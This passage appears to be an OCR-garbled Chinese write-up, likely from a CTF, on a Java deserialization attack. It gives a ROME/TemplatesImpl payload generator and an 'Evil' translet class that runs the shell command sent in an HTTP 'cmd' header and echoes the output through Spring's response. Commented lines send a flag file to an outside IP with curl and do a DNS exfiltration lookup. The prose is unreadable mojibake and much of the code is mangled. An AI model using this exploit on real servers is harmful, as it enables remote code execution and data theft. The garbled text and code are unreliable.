fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax. TransformerFactorylmpl").newlnstance());

ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(objectBean1);

byte[] sss = byteArrayOutputStream.toByteArray();

out.close();

String exp = Base64.getEncoder().encodeToString(sss);
System.out.printin(exp.replace("+","%2b"));

ERHMEMBEFT, RBREBMEEREMEIITHRBIZELAET .

REREAMITET, TEML-EEFRE, FURBAHM, HT —TFHEANFHLRAHME,
WERIFE T — T FRAEMELR K, 2Rl T EMESFEENARTG, 4dns, tomcatif) & MW FS, SpringMIAFLD, FE
RAHEITE. . « EF AR BAIE, S RSJava, XERFEEEEHCBE%E] T M IZRMET .

RGBT XAKRA:

https://github.com/SummerSec/JavalearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEc
ho.java



BREWAERAGEDIE, MR E T XA RN BEARE R . R—IFE 0 R A B3k I TomcatffFilterft R Fh B (A
ANIZEE) £3RERequest, AR IMEIREUIRELResponse, A RBIMEEMFilterT, MAERILLERRBIE, BE2ET—TML

A

ER IR — EE R AIPOCKE £ XN R, FREREMNT .

B/ Eviljava :

import com sun. org. apache xalan internal x=ltc DOM;

import com sun. org. apa che xalan intern al xsltc TransletException;

import com sun. org. apache xalan internal xsltc runtime. AbstractTranslet;

import com sun. org. apa che xml internal dtm DTMAXslterator;

import com sun. org. apache xml internal serializer. SerializationHandler;

import jawa net InetAddress;

import java io. ByteArrayOutputStream:;
import jawa iz InputStream;

import java io. ObjectOutputStream;
import java.io.*;

import jawa lang refiect Method;
import java util Scanner;
public class Evil extends AbstractTranslet

{

@Override

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

@Override
public void transform(DOM document, DTMAXxislterator iterator, SerializationHandler handler) throws TransletException {

public Evil() throws Exception{

Class ¢ = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContext

Holder");

Method m = c.getMethod("getRequestAttributes");

Object o = m.invoke(null);

¢ = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");

Method m1 = c.getMethod("getRequest");

Object resp = m.invoke(0);

Object req = m1.invoke(0); // HitpServietRequest

Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("g

etWriter");

Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServietRequest").getDeclaredMe

thod("getHeader",String.class);

getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands|1] ="/c";
} else {
commands|0] = "/bin/sh";
commands|1] = "-c";
ki
commands|2] = cmd;
writer.getClass().getDeclaredMethod("println”, String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getinputS

tream(),charsetName).useDelimiter("\A").next());

writer.getClass().getDeclaredMethod("flush").invoke(writer);
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R JGjavachmiEiclass, #AJ5 cat Evil.classpase64 -w0 , FiEIX Bbase64) 2| kT I FRANRY B H i byte[][] bytecodes = new byte[]

writer.getClass().getDeclaredMethod("close").invoke(writer

// String[] cmd = {"/bin/sh","-c","curl http://172.16.177.48:39555/ -F file=@/flag"};
/ InputStream in = Runtime.getRuntime().exec(cmd).getinputStream();
byte[] bcache = new byte[1024];
int readSize = 0;
try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
while ((readSize =in.read(bcache))!=-1){
outputStream.write(bcache,0,readSize);
}
String result = outputStream.toString();
InetAddress.getByName("1m22164l.ns.dns3.cf.").isReachable(3000);

}

I}

//Runtime.getRuntime().exec("sh /tmp/feng”);
Z
//catch (Exception ex) {
// ex.printStack Trace();

7}

[[{Base64.getDecoder().decode(); » 4 fipayload, ARG T EHMEIET !

EXECUTE TEST - & T NSS - CI | *  ENCOBING - HASHING = THEME =

ADD HEADER
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